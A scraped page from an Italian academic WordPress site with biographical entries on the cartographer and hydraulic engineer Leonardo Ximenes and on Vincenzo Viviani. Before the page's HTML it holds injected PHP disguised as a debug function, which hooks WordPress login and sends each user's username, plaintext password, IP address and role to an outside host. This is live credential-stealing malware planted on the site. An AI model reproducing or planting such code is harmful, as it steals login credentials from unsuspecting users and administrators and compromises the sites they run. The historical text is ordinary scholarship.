'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Leonardo Rombai | Digital DISCI | Pagina 2

Archivi tag: Leonardo Rombai

Ximenes, Leonardo

Leonardo Ximenes
N. Trapani 27 dicembre 1716
M. Firenze 3 maggio 1786

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nacque a Trapani il 27 dicembre 1716 da Giuseppe (di famiglia di antica origine spagnola) e Tommasa Corso, e morì a Firenze il 3 maggio 1786.

Produzione scientifica:
Trasferitosi definitivamente nella città toscana, il 2 febbraio 1750 ricevette gli ordini della Compagnia di Gesù nel Collegio di San Giovannino ove approfondì gli studi astronomici, matematici e geografici: entrato in contatto con l’erudito Giovanni Lami e con la sua cerchia culturale, del quale divenne collaboratore con scritti nelle “Novelle Letterarie”, incontrò immediatamente il favore di Emanuele di Richecourt presidente della Reggenza lorenese, grande appassionato di geografia e collezionista di cartografie, che, proprio nel 1750, assegnò allo scienziato gesuita l’impegnativo incarico di realizzare una moderna Carta della Toscana inquadrata con la maggior precisione possibile nel reticolato geografico.
Da allora, la vita di Ximenes fu impiegata più che nelle speculazioni teoriche nello studio finalizzato alla risoluzione di problemi importanti della vita umana e dell’amministrazione statale, e specialmente nella progettazione e realizzazione di innumerevoli lavori e interventi pubblici di ordine idraulico, stradale, urbanistico e confinario. Per offrire contributi originali alle risposte che salivano dalle istituzioni e dalla società, il gesuita si occupò con pari efficacia – curando particolarmente l’aggiornamento con le fitte corrispondenze internazionali e con l’approvvigionamento di libri, riviste scientifiche e strumenti (oltre a quelli astronomici e topografici, disponeva di sofisticati barometri, livelle, bussole con traguardo, ecc.) – dei saperi matematico-astronomici, ingegneristico-architettonici correlati ad acque, strade e urbanistica, e dei saperi naturalistico-geografici incentrati sull’analisi ambientale e territoriale. Dotato di una singolare curiosità storico-erudita, il nostro provvide sempre a ricercare nelle biblioteche e negli archivi non solo fiorentini fonti documentarie scritte e specialmente cartografiche funzionali ad una più agevole lettura geografica del territorio e alla redazione di più consapevoli ed aderenti progettazioni di interventi spaziali.
Ad esempio, nelle sue opere idrauliche del 1765 relative al Bolognese e alla Romagna, utilizzò con maestria le celebri cartografie tolemaiche, dell’Aleotti e del Magini e tante altre a stampa e manoscritte di cui poté disporre, opportunamente comparate con la raffigurazione ufficiale “sottoscritta concordemente da’ periti bolognesi e ferraresi” nel 1762, per “dimostrare il vero antico stato di tanti paduli” e per evidenziare i mutamenti e le permanenze nell’assetto territoriale con speciale considerazione per la linea di costa e la maglia idrografica. Quando all’inizio degli anni ’60 si accinse a scrivere la sua Della fisica riduzione della Maremma Senese, non mancò di riunire in una filza che intitolò Relazioni e notizie dei lavori fatti nella Pianura di Grosseto in diversi tempi decine di memorie sei-settecentesche e la legislazione riguardanti l’area, con un inserto dedicato a Piante e profili del Lago e Fiumara di Castiglione dei Fossi della Pianura di Grosseto. Quando stava per stendere l’altro volume sulla stessa area Esame dell’Esame, scrisse a più riprese, da Grosseto, ai suoi collaboratori a Firenze perché ricercassero le fonti d’età antica, medievale e rinascimentale sulla Maremma e sulla navigabilità dell’Ombrone. Allorché dovette studiare i complessi problemi della bonifica della Valdichiana, richiese all’abate aretino Mauro Lancisi i documenti storici di cui era a conoscenza che fossero utili per l’esame della valle, e nel 1777 volle utilizzare la grande carta chianina di Antonio Ricasoli del 1551 per calcolare gli acquisti che erano stati fatti in oltre due secoli dalla bonifica e per visualizzare le trasformazioni paesistico-ambientali intervenute nel frattempo. E appena ebbe ricevuto l’ordine granducale, il 23 giugno 1780, di partecipare al consesso tra i rappresentanti degli Stati toscano e genovese per cercare di risolvere le controversie confinarie in Lunigiana, il nostro scienziato pensò bene di provvedersi, a Firenze, di una nutrita serie documentaria con circa 30 cartografie a stampa e manoscritte cinque-settecentesche sulla regione lunense e sui territori interessati di Pontremoli e Godano: la loro attenta considerazione doveva fare emergere – come dimostra l’emblematica e inedita Breve memoria sopra i confini delle carte – l’appartenenza di volta in volta dei piccoli territori controversi.
Del resto, l’Indice generale di tutte le carte topografiche, livellazioni, sezioni e profili occorsi nelle diverse operazioni e lavori fatti in campagna (redatto dopo la morte dello scienziato) dimostra che il gesuita era riuscito a costruire – e talora a procurarsi da altri – numerose rappresentazioni dello spazio, in parte espropriate dall’amministrazione statale e attualmente conservate negli Archivi di Stato di Firenze e Pisa, nella Biblioteca Nazionale Centrale di Firenze e in parte oggi disperse: ben 148 fra carte singole e atlanti che “coprivano” tutte le aree di cui si era interessato, vale a dire la Valdichiana, il Bolognese con la Romagna, il bacino di Bientina con la Versilia e la pianura pisana, la Maremma Grossetana, il Pistoiese, il Padovano con il Brenta e il territorio di Chioggia, l’area pontina, ecc. (in BNCF, Fondo Nazionale, II-368, fasc. 6).
Già l’11 agosto 1750, Ximenes approntò un articolato piano di ricerca basato su osservazioni astronomiche e rilevamenti geodetici e topografici (Considerazioni intorno alla rettificazione della Carta Geografica della Toscana, in BNCF, Fondo Nazionale, II-307, ins. 27), questi ultimi da svolgere con l’aiuto del giovane Gregorio Michele Ciocchi, che “ha studiato tre anni sotto di me ed ha qualche misura di Astronomia e di Geografia”, e dell’ingegnere Antonio Falleri, che da anni lavorava individualmente ad un analogo progetto e che “intendeva bene di prospettiva e sapeva levare in pianta”. E’ da sottolineare che Ximenes previde pure la possibilità di misurazione di una base geodetica da Firenze a Prato o addirittura a Pistoia, oppure da Firenze a Livorno, impresa non ancora riuscita ad alcuno ma che proprio allora stavano conducendo i due confratelli Cristoforo Maire e Ruggero Giuseppe Boscovich nello Stato della Chiesa.
Per il primo e più impegnativo aspetto, quello astronomico, provvide al ripristino della quattrocentesca meridiana di Paolo Toscanelli in Santa Maria del Fiore e alla fondazione della Specola nel Collegio di San Giovannino (dove rimase sempre a lavorare, anche dopo la soppressione dei gesuiti nel 1773 e l’assegnazione della sede agli scolopi), per determinare le posizioni di Firenze; il problema della carta geometrica toscana (che impegnò lo scienziato fino al 1777) si rivelò ciclopico per un unico attore e finì col legarsi indissolubilmente al catasto particellare che, proprio nel 1777-78, il granduca Pietro Leopoldo tentò inutilmente di realizzare.
Sempre al fine di realizzare l’impresa della carta toscana, Ximenes previde inutilmente, fino almeno alla riforma del 1781, con vari scritti del 1750-77, l’unificazione delle tante e “incomodissime” unità di misura usate nel Granducato, spezzando una lancia a favore del miglio e braccio geografico, che peraltro non vennero mai adottati.
In ogni caso, l’impegno profuso nella costruzione di una moderna rappresentazione cartografica dello Stato lorenese gli valse – il 18 ottobre 1755 – il titolo di geografo imperiale, con tanto di cattedra di Geografia nell’Università di Firenze, mentre il contributo offerto come scienziato territorialista fu ulteriormente premiato – nel 1766 – con la concessione della qualifica di matematico regio. Non è da trascurare il fatto che è proprio grazie al prestigio del gesuita se la sua creatura scientifica – l’Osservatorio Ximeniano – poté sopravvivere alla sua scomparsa con la dotazione di due cattedre di astronomia e idraulica, assegnate rispettivamente agli allievi scolopi Gaetano del Ricco e Stanislao Canovai, intorno ai quali all’inizio del nuovo secolo dovevano formarsi tanti bravi ingegneri e scienziati (ad esempio, rispettivamente come Alessandro Manetti e Giovanni Inghirami).
Anche con il nuovo Reggente Botta Adorno, Ximenes ottenne la conferma dell’incarico della carta toscana, su cui il 18 gennaio 1761 presentò una seconda Memoria generale e un Piano operativo (ASF, Segreteria di Finanze ante 1788, f. 200, ins. Carta Generale della Toscana, e Reggenza, f. 780, ins. 53), in cui in sostanza si ripetono i contenuti del 1750, salvo specificare le caratteristiche di scala più topografica che corografica del prodotto, contemplante la restituzione planimetrica anche dei singoli edifici di interesse pubblico. Quando l’argomento tornò di attualità nel 1775-77, con Pietro Leopoldo che chiese il parere di Ferroni e Ximenes sul progetto presentatogli da Gian Domenico Cassini, il gesuita presentò – il 26 dicembre 1777 – la Memoria sulla Carta Geografica della Toscana e sul suo Estimario (BNCF, Fondo Nazionale, II-322, ins. 7), in cui sosteneva, una volta tanto d’intesa con l’altro matematico granducale, la convenienza di unire l’operazione carta alla realizzazione del catasto geometrico, con l’impiego di scienziati e ingegneri prevalentemente toscani (il collaboratore Francesco Puccinelli con il padovano Giovanni Antonio Rizzi Zannoni tra i primi, Nini, Grobert e Bombicci fra i secondi).
Tra il 1756 e il 1765, il gesuita scrisse varie relazioni ai Reggenti Richecourt e Botta Adorno perché istituissero la carica di “Idrometra dello Stato o Ingegner Maggiore o Professore Idraulico” nella sua persona che “oltre alla scienza da lui dimostrata ne’ libri stampati accoppia una pratica locale acquistata in più occasioni”. L’idrometra avrebbe dovuto fondare a Firenze una vera e propria scuola di tecnici, abilitando altresì gli ingegneri già impiegati negli uffici statali e sovrintendendo a tutti i lavori pubblici del Granducato” (Barsanti e Rombai, 1987, p. 55).
Anche se fino al 1766 tale invito non fu accolto, come idraulico, Ximenes cominciò presto ad operare per formare tecnici adeguati e per rispondere a precise committenze statali. Infatti, egli si occupò per un trentennio – peraltro con risultati non sempre pari alle attese – di tantissime grandi o comunque impegnative operazioni di bonifica, ora con adozione del sistema della canalizzazione e ora di quello della colmata. Il suo pragmatismo nelle questioni di acque scaturiva dall’analisi – sempre accuratissima sul piano storico e su quello ambientale strettamente integrati – delle caratteristiche naturali e sociali di aree e luoghi, ma è certo che Ximenes è da considerare erede delle concezioni della scuola sperimentale galileiana, quando preferì la cosiddetta fisica riduzione (cioè la regolazione equilibrata dei deflussi di zone umide e corsi d’acqua, da raggiungere, insieme con il loro risanamento igienico-ambientale, mediante l’apertura di efficaci canali da utilizzare anche come comode idrovie) all’eliminazione totale di laghi e acquitrini a tutto vantaggio della colonizzazione agraria.
Il gesuita applicò le sue idee di bonificatore – supportate da ampie memorie geografico-storiche, nonché da cartografie e profili di livellazione – un po’ a tutte le zone umide della Toscana, in primis, a partire dal 1756-63, al bacino di Bientina e alle aree adiacenti del Valdarno di Pontedera e della Versilia, dove le acque lacustri e palustri defluivano o potevano essere fatte defluire mediante l’apertura di specifici scolmatori. In queste aree Ximenes tornerà ripetutamente negli anni successivi e fino all’inizio degli anni ’80, anche su incarico della Repubblica di Lucca.
Ad esempio, il 27 ottobre 1766 diresse la visita del granduca Pietro Leopoldo (neo incoronato) al comprensorio di Bientina per prendere visione dei lavori in gran parte già ultimati nel 1763 ma senza aver apportato i risultati sperati. E nel 1778 e fino al 1785 ottenne l’incarico per un progetto risolutivo della bonifica del Padule di Bientina (vi collaborarono anche illustri tecnici non toscani, incaricati dalla Repubblica di Lucca, come l'abate astronomo Ruggiero Giuseppe Boscovich, il bolognese Eustachio Zanotti, il matematico veronese Anton Maria Lorgna).
Dopo Bientina, fu la volta della pianura grossetana e del lago-padule di Castiglione, dove nel 1758-59 studiò analiticamente quel territorio e ne progettò la grandiosa riduzione fisica che cominciò ad essere realizzata nel 1766, con i lavori che continuarono almeno fino al 1781, anche qui senza i successi preventivati.
Contemporaneamente, si occupò anche dei problemi del bacino di Ghirlanda, della Maremma di Castagneto, della pianura pisana a sud e a nord dell’Arno fino a Pietrasanta, della Valdinievole e della Valdichiana, del piano di Rosia, del Pian del Lago, e di altre parti d’Italia a partire dalla regione romagnola e bolognese nel 1762-66, alla cui sistemazione dedicò sei memorie a stampa e altri opuscoli (tutti ben documentati, anche mediante il riuso della cartografia del passato), in singolare polemica con gli scienziati Tommaso Perelli e Pio Fantoni che sostenevano l’apertura di nuove linee o canali scolmatori con percorsi i più diversi, mentre invece il gesuita affermava la validità del Po di Primaro come scolmatore fondamentale dell’intera regione.
Altri studi, progetti e interventi riguardarono, nel 1775 e nel 1783, il basso corso del Tevere, nel 1765 il bacino pontino, nel 1774 il Lago Trasimeno, nel 1777 il territorio di Padova e del Brenta; non mancarono gli interventi di sistemazione e regimazione fluviale dei corsi d’acqua della piana di Arezzo, del Senese, del Grossetano, della Valdichiana e di altre aree anche fuori Toscana, e di progettazione e costruzione di saline (alle Marze di Castiglione), di canali navigabili (a Bientina e Fucecchio, tra Castiglione e Grosseto, a Firenze tra la pescaia di Ognissanti e l’Ombrone Pistoiese), oppure di acquedotti (solo progettati a Pistoia e Genova, realizzati a Castiglione della Pescaia e Capalbio) e di porti e approdi marittimi (a Castiglione e a Genova).
In questi lavori una parte non secondaria delle impronte tuttora rimaste nel territorio è costituita dai fabbricati con ponti cateratte o delle bocchette, come quelli di Castiglione della Pescaia e di Bientina (monumentali edifici idraulici progettati e realizzati per il controllo delle acque lacustri in rapporto al loro deflusso in mare o in Arno e anche per la pesca).
Come progettista e costruttore di strade e ponti, Ximenes ha legato il suo nome alla grande strada rotabile Pistoia-Modena per l’Abetone, detta appunto Ximeniana, realizzata nel 1766-78 con i suoi ponti e con le sue poste e fontane monumentali, dopo la radicale modificazione del progetto già redatto dall’ingegner Anastasio Anastasi; altre realizzazioni ximeniane degli anni ’70 e ’80 furono la Pistoia-Lucca (con le appendici della Traversa della Valdinievole tra Borgo a Buggiano e la Firenze-Pisa alle Fornacette e della diramazione per Altopascio), la Siena-Grosseto e la Lauretana tra Monte Oliveto e Sinalunga, insieme con tanti grandiosi edifici postali e ponti.
Ximenes studiò pure (con attenti sopralluoghi sul campo e ricerche documentarie d’archivio) i complessi problemi di confinazione in Lunigiana tra Granducato e Repubblica di Genova o in Maremma tra Granducato e Principato di Piombino (aree delle basse valli di Cornia, Pecora ed Alma, di Gualdo oggi Puntala, di Buriano).
Riguardo alle realizzazioni cartografiche – effettuate spesso insieme agli ingegneri suoi allievi o comunque collaboratori, come tra i primi Gregorio Michele Ciocchi al suo servizio dal 1758 al 1771 almeno, Donato Maria Fini, Alessandro Nini, Filippo Grobert e l’astronomo ingegnere pesciatino Francesco Puccinelli al suo servizio tra il 1767 e il 1784, e tra i secondi Ferdinando Grazzini, Giuseppe Montucci, Giovanni Maria Veraci, Agostino Fortini, Ferdinando Morozzi, Fiorenzo e Bernardino Razzi, Giovanni Boldrini, Bernardino Fantastici e Giuseppe Salvetti – sono da rilevare: la grande Carta topografica generale del Lago di Castiglioni e delle sue adiacenze sino alla radice dei poggi, rilevata nel 1758-59 insieme con Agostino Fortini e Gregorio Michele Ciocchi e altri tecnici per studiare il progetto di sistemazione d’insieme della pianura (l’originale è in ASF, Segreteria di Finanze ante 1788, f. 749, e in Miscellanea di Piante, n. 130.a) e poi edita nella sua memoria del 1769 con altre otto tavole relative alle bocchette e cateratte del padule e al fiume Ombrone, frutto di accurate misurazioni e osservazioni per mettere a punto un progetto di globale risanamento della grande e malarica zona umida di Castiglione della Pescaia, fino ad allora costituente uno dei principali centri di produzione ittica della Toscana. La Carta topografica generale rappresenta di fatto una delle prime e perfezionate topografie di una subregione toscana.
Altra rappresentazione di rilievo è quella della pianura costiera tra Pisa e Lucca con l’Arno e il Serchio e le zone umide confluenti sui due fiumi, rilevata dopo accurate livellazioni tra il 1757 e il 1762 e pubblicata insieme ad altre quattro tavole, con illustrazione dei vari progetti di canalizzazione e bonifica, nell’opera del 1782.
Tra le tante altre figure sono da segnalare la raccolta di 12 Piante dimostrative di vari rami del Fiume Ombrone dalla Barca d’Istia fino a Campagnatico, e de’ vari impedimenti che soffrirebbe la navigazione a monte di Grosseto, redatta nel 1766 a corredo di una perizia dello stesso scienziato, nell'ambito di un progetto finalizzato alla rimozione degli ostacoli nel letto del fiume per facilitare lo scorrimento delle acque in funzione della navigazione e della fluitazione del legname (ASF, Segreteria di Finanze ante 1788, f. 713, ins. "Lavori all'Ombrone"); e le tre incisioni di Giuseppe Pozzi che corredano l’Esame dell’esame di un libro sopra la Maremma Senese ripartito in tante note da uno scrittore maremmano del 1775: la Carta dell’antica Etruria, la pianta della città di Roselle secondo i ritrovamenti del 1774 e la pianta con sezione dell’antico anfiteatro rinvenuto nella stessa città (Zangheri, a cura di, 1984, p. 65).

Produzione di cartografia manoscritta:
Disegni di profili di livellazione dei canali Ozzeri e Rogio (Bientina), 1756 (ASP, Piante dell'Ufficio Fiumi e Fossi, nn. 66-69 e 70-71);
Piante di sezioni e livellazioni del Fiume Serchio e altre piante relative a corsi d'acqua dell'area del Padule di Bientina, attribuite, 1757 (ASP, Piante dell'Ufficio Fiumi e Fossi, nn. 60, 83 e 85);
Carta topografica della confluenza tra il Fosso Ozzeri e il Fiume Serchio, con Agostino Fortini, 1757 (ASF, Miscellanea di Piante, n. 340);
Pianta topografica generale del lago di Castiglioni [della Pescaia] e delle sue adiacenze sino alla radice dei poggi, con gli ingegneri Agostino Fortini e Gregorio Michele Ciocchi, 1758-59 (ASF, Miscellanea di Piante, 56 e 130a, edita anche in Della fisica riduzione..., incisore Giovanni Canocchi, 1769);
Disegno di cateratte nel Padule di Bientina e profili dei suoi emissari (firmato come "Padre matematico Gimenes"), anni ’50-’60 del XVIII secolo (ASP, Piante dell'Ufficio Fiumi e Fossi, nn. 56, 57 e 72-73);
Piante e spaccati della Fabbrica delle Cateratte detta Casa Rossa a Castiglione della Pescaia, in 4 tavole, 1765-66 (ASF, Miscellanea di Piante, nn. 57a-c, editi anche in Della fisica riduzione..., incisore Giovanni Canocchi, 1769);
Raccolta di 12 Piante dimostrative di vari rami del Fiume Ombrone dalla Barca d’Istia fino a Campagnatico, e de’ vari impedimenti che soffrirebbe la navigazione a monte di Grosseto, 1766 (ASF, Segreteria di Finanze ante 1788, f. 713, ins. "Lavori all'Ombrone");
Piante e alzati (6 disegni) del nuovo mulino di Grosseto e del sistema idrico di alimentazione con fabbrica delle cateratte, 1765-70 (ASF, Miscellanea di Piante, nn. 128a-f);
Pianta Topografica del Nuovo Navigante Grossetano e de’ terreni adiacenti dalla Cateratta del Fiume Ombrone fino al Padule, 1765-70 (ASF, Miscellanea di Piante, n. 129, e ASF, Piante dello Scrittoio delle Regie Fabbriche, cartella V, n. 9);
Carta delle nuove Saline delle Marze presso Castiglione della Pescaia, 1765-70 (ASF, Miscellanea di Piante, n. 129b);
Pianta del Poggio della Badiola e de’ terreni annessi per i fieni della pesca, 1765-70 (ASF, Miscellanea di Piante, n. 129/d);
Pianta dell’acquedotto di Castiglione della Pescaia, 1765-70 (ASF, Miscellanea di Piante, n. 60);
Carte (oltre una quindicina di tavole) di diverse zone del Lago e del padule di Castiglione della Pescaia e della pianura grossetana, con i suoi corsi d'acqua, con profili di livellazione, 1765-70 (ASF, Miscellanea di Piante, nn. 129c-i, 182a-e);
Cabreo dei terreni comunali disposti intorno al lago-padule di Castiglione della Pescaia, suddivisi in preselle e cedute a privati nell’anno 1769, con Giovanni Boldrini, 1769 (ASF, Ministero delle Finanze, f. 545);
Profili della livellazione della Via Modenese, con Alessandro Nini, 1766-71 (ASF, Piante di Ponti e Strade, F.13, 41 e F.15, 65);
Pianta dimostrativa della Fattoria di Montecchio nel Valdarno di Pontedera, 1772 (ASF, Miscellanea di Piante, n. 81/a);
Pianta del Palazzaccio del Sale e Tabacco nella Piazza del Duomo di Pistoia, 1774 (ASF, Miscellanea di Piante, n. 185);
Piante e alzati (2 carte con progetto) del nuovo edificio della Posta della Scala da costruirsi sulla Strada Romana in Val d'Orcia, 1775 (ASF, Miscellanea di Piante, n. 214);
Pianta dell’Acquidotto per la Città di Pistoia con l’unione delle Sorgenti di salici, Sette Fonti e Pian degli Osi fatta l’anno 1779 (ASF, Miscellanea di Piante, n. 206);
Carte dei confini tra Principato di Piombino e Granducato di Toscana disegnate da Alessandro Nini e Giacomo Benassi, in Val di Cornia, 1779-85 (ASF, Miscellanea di Piante, nn. 37 e 517), in Val di Pecora (ivi, nn. 507, 516 e 764), in Pian d’Alma e Gualdo (ivi, nn. 58, 501, 513-514, 518, 520-522, 531, 535 e 545), nella sezione nord-occidentale della pianura di Grosseto tra la Bruna e il lago padule di Castiglione (ivi, nn. 503, 506, 515, 519 e 523-529);
Pianta del Padule di Bientina e del basso bacino del Serchio con i canali e le cateratte esistenti e in progetto, 1782; Pianta di Viareggio e del suo porto canale, 1782; e Pianta dell’ultimo tronco dell’Ozzeri e del Serchio fino al Mulino delle Carte, 1782 (edite con profili e livellazioni in Piano di operazioni idrauliche..., 1782).

Produzione di cartografia a stampa:
Opere a stampa: Memoria idrometrica relativa alla teoria delle tre linee proposte negli atti della visita di S.E. il Cardinale Conti aperta l’anno 1761, Faenza, Presso l’Archi, 1743;
Seconda memoria idrometrica responsiva alle difficoltà mosse contro alla prima da’ Signori Marescotti, Bertaglia e Bonati, Faenza, Presso l’Archi, 1763;
Terza memoria idrometrica, presentata per parte della Romagna alla nuova conferma del progetto di Primaro esibita per parte della città di Bologna, Firenze, Moucke, 1763;
Memoriale ragionato delle Città, Terre e Castella della Romagna interessata intorno alla nuova proposizione della Linea Perelli, Firenze, Moucke, 1763;
Quarta memoria idrometrica presentata per parte della Romagna in risposta al parere de’ due Matematici intorno a’ progetti sul regolamento delle acque bolognesi, Firenze, Moucke, 1764;
Del vero stato antico e moderno delle Valli Superiori e Inferiori del Bolognese e della Romagna e dei veri effetti, che possono augurarsi dai nuovi progetti, Roma, Bernabò, 1765;
Sommario della quinta memoria. Confronto della carta stampata ed inserita in una Raccolta di scritture e notizie concernenti la remozione del Reno dalle Valli fatta in Bologna l’anno 1682 per Giacomo de’ Monti, Roma, Bernabò, 1765;
Sesta memoria idrometrica presentata per parte della Romagna nella quale si replica alle risposte del sig. Dottor Teodoro Bonati e alla perizia del signor Antonio Baruffaldi, Roma, Bernabò, 1765; Scusa dell’Autore delle Memorie Idrometriche intorno al suo silenzio sopra un certo scritto intitolato Saggio de’ fatti insussistenti ecc. presentata per parte della Romagna, Roma, Bernabò, 1765;
Opuscolo intorno agli aumenti delle piene del fiume principale per l’unione di un nuovo influente, “Atti dell’Accademia delle Scienze di Siena detta de’ Fisiocritici”, 3 (1767), pp. 17-83;
Della fisica riduzione della Maremma Senese. Ragionamenti due ai quali si aggiungono quattro perizie intorno alle operazioni della Pianura Grossetana ed all’arginatura del Fiume Ombrone, Firenze, Moucke, 1769;
Esame dell’Esame di un libro sopra la Maremma Senese, ripartito in tante note da uno scrittore maremmano, Firenze, Cambiagi, 1775;
Risposta al parere di Francesco Bombicci sui pretesi vantaggi del Ponte nuovo di Pisa per la fattoria di Agnano, Firenze, Cambiagi, 1778;
Nuove esperienze idrauliche fatte ne’ canali e ne’ fiumi per verificare le principali leggi e fenomeni delle acque correnti, Siena, Bindi, 1780;
Memoria intorno alla regola con la quale si alterano le velocità dei fiumi influenti per il contrasto che ricevono dai loro recipienti, “Atti dell’Accademia delle Scienze di Siena”, 6 (1781), pp. 31-120;
Piano di operazioni idrauliche per ottenere la massima depressione del Lago di Sesto o sia di Bientina, Lucca, Buonsignori, 1782;
Raccolta delle perizie ed opuscoli idraulici del Sig. Abate L. Ximenes, alla quale si aggiungono le perizie di altri professori che hanno scritto sulle stesse materie, Firenze, Allegrini, vol. I, 1785 e vol. II, 1786;
Dell’utilità o inutilità delle arginature de’ fiumi e de’ laghi. Memoria idraulica di L. Ximenes coronata dall’accessit il 6 agosto 1777, “Atti della R. Società Economica di Firenze ossia dei Georgofili”, 1 (1791), pp. 196-302.
Opere manoscritte: Considerazioni intorno alla rettificazione della Carta Geografica della Toscana, 11 agosto, 1750 (BNCF, Fondo Nazionale, II-307, ins. 27);
Parere intorno alla cagione ed a’ rimedi delle frane, che negli anni assai piovosi accadono in molte parti della Toscana e massimamente nella Val d’Elsa e nel Lucardese, 1751 (BNCF, Fondo Nazionale, II-307, ins. 13);
Memoria intorno alle facilità e privilegi che possono accordarsi alla Maremma Senese, 1758-65 (ASF, Miscellanea di Finanze A, f. 107);
Memoria generale e Piano operativo per la costruzione della Carta Geografica della Toscana, 18 gennaio 1761 (ASF, Segreteria di Finanze ante 1788, f. 200, ins. Carta Generale della Toscana, e Reggenza, 780, ins. 53);
Relazione dei lavori ordinati da S.M.I. nel piano di Bientina ed eseguiti da Leonardo Ximenes della Compagnia di Gesù dal 1757 al 1763, 1763 (AOXF, 23);
Memoria sulla Carta Geografica della Toscana e sul suo Estimario, 26 dicembre 1777 (BNCF, Fondo Nazionale, II-322, ins. 7);
Visita delle strade e dei canali navigabili della Valdinievole, 1779, e Visita delle strade e dei canali navigabili della Valdichiana (ASF, Segreteria di Finanze ante 1788, f. 879, mazzo I, ins. S); Relazione della Fonte della Città di Pistoia, 27 dicembre 1779 (BFPt, Manoscritti, B. 167); Memoria intorno alla linea del confine giurisdizionale tra il territorio di Pontremoli e quello del Genovesato, per servire d’informazione sulle regioni che competono alla Toscana, luglio 1780 (ASF, Reggenza, f. 656, Confinazione di Pontremoli);
Memoria di Leonardo Ximenes intorno allo stato delle operazioni maremmane alla consegna fatta all’Ufficio dei Fossi di Grosseto, 1781 (AOXF, 89, ins. 16);
Relazione sull’acquedotto di Genova, 15 settembre 1784 (BNCF, Fondo Nazionale, II-310, ins. 1); Relazione sul Porto di Genova, 1784 (BNCF, Fondo Nazionale, II-310, ins. 2);
Osservazioni generali e particolari sul progetto della strada o carreggiabile o corriera per la Riviera di levante, partecipato in due volumi di piante da’ Sigg. Capitani Brusco e Ferretti, 1784 (BNCF, Fondo Nazionale, II-310, ins. 3);
Memoria per la costruzione del Ponte sul Torrente Ramairone, e Relazione della fabbrica del Ponte sul Fiume Lemo, e Relazione sulla sistemazione dei torrenti Gromolo e Petornia, 1784 (BNCF, Fondo Nazionale, II-310, inss. 4-5, 7 e 11 con altri analoghi scritti).

Fonti d’archivio:

Bibliografia:
Barsanti e Rombai, 1987; Barsanti e Rombai, a cura di, 1994, pp. 133-152; Barsanti, 1987, pp. 135, 136, 151, 152, 155 e 156; Rombai, Toccafondi e Vivoli, 1987, pp. 86, 119-124, 145-147 e 159; Barsanti, Bonelli Conenna e Rombai, 2001, pp. 40 e 42; Barsanti, 1992, p. 63; Sterpos, 1977, pp. 7, 24-26 e 34; Zangheri, a cura di, 1984, p. 65; ASF, Reggenza; ASF, Ministero delle Finanze; ASF, Miscellanea di Finanze A; ASF, Segreteria di Finanze ante 1788; ASF, Piante dello Scrittoio delle Regie Fabbriche; ASF, Miscellanea di Piante; ASF, Piante di Ponti e Strade; ASF, Pratica Segreta di Pistoia; ASF, Camera di Soprintendenza Comunitativa; BNCF, Fondo Nazionale; AOXF; BFPt, Manoscritti.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Viviani, Vincenzo

Vincenzo Viviani
N. Firenze 1622
M. Firenze 1702

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Ebbe dai granduchi Ferdinando II e Cosimo III dei Medici importanti incarichi pubblici, partecipando altresì ai lavori dell’Accademia del Cimento, ove svolse un ruolo di primo piano e propose moltissime esperienze.
Per molti decenni operò a tempo pieno all’interno della magistratura del Capitani di Parte Guelfa – ufficio responsabile dei lavori pubblici ad acque, strade e fabbricati, e quindi della difesa del territorio – svolgendo ruoli tecnici sempre di maggiore responsabilità, dapprima (dal 1644) come capomastro, poi come aiuto dell’ingegnere (1649), ingegnere sostituto (1653) e ingegnere effettivo (1658).
Nel 1665, Viviani fu insignito della carica – che nel 1641-44 era già stata attribuita ad Evangelista Torricelli – di idrometra e primo matematico del granduca, con obbligo di insegnare matematica nello Studio di Firenze (Barsanti, 1994, p. 58).
